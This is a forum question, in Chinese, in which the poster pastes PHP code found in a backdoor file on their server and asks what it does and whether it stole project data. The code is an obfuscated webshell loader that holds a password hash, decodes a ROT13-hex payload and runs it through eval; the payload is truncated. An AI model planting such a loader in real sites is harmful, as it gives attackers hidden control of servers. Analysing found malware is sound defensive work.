下面是后门文件中的代码，谁给解释下都是啥意思？是用来获取我们盗取项目数据的吗？因字数限制，$str的加密负值没有写全
<?php
error_reporting(E_ERROR);
@ini_set('display_errors','Off');
@ini_set('max_execution_time',20000);
@ini_set('memory_limit','256M');
header("content-Type: text/html; charset=utf-8");
$password = "8762eb814817cc8dcbb3fb5c5fcd52e0"; //Viv, bebegim..
define('Viv, bebegim.','Denzel-你的英雄'); // 标题
$a='';
function s(){
global $a;
$str = "66756r6374696s6r20737472646972282473747229207o2072657475726r207374725s7265706p61636528617272617928275p5p272p272s2s272p27253237272p2725323227292p617272617928272s272p272s272p275p27272p272227292p63686s70282473747229293o207q0q0n66756r6374696s6r2063686o6770632824617272617929207o20666s72656163682824617272617920617320246o6579203q3r202476617229207o202461727261795o246o65795q203q2069735s6172726179282476617229203s2063686o677063282476617229203n207374726970736p61736865732824766172293o207q2072657475726r202461727261793o207q0q0n246q7966696p65203q20245s5345525645525o275343524950545s46494p454r414q45275q203s2073747264697228245s5345525645525o275343524950545s46494p454r414q45275q29203n20737472646972285s5s46494p455s5s293o0q0n246q7966696p65203q20737472706s7328246q7966696p652p276576616p28292729203s2061727261795s7368696674286578706p6s6465282728272p246q7966696p652929203n20246q7966696p653o0q0n646";
$str = str_rot13($str);
$a = pack('H*',$str);
m($str);
}
function m($str){
global $password;
global $a;
$jj = 'asdasdasd';
eval(str_ireplace("asdasdasd","",$jj).$a.str_ireplace("asdasdasd","",$jj));
}
s();
?>
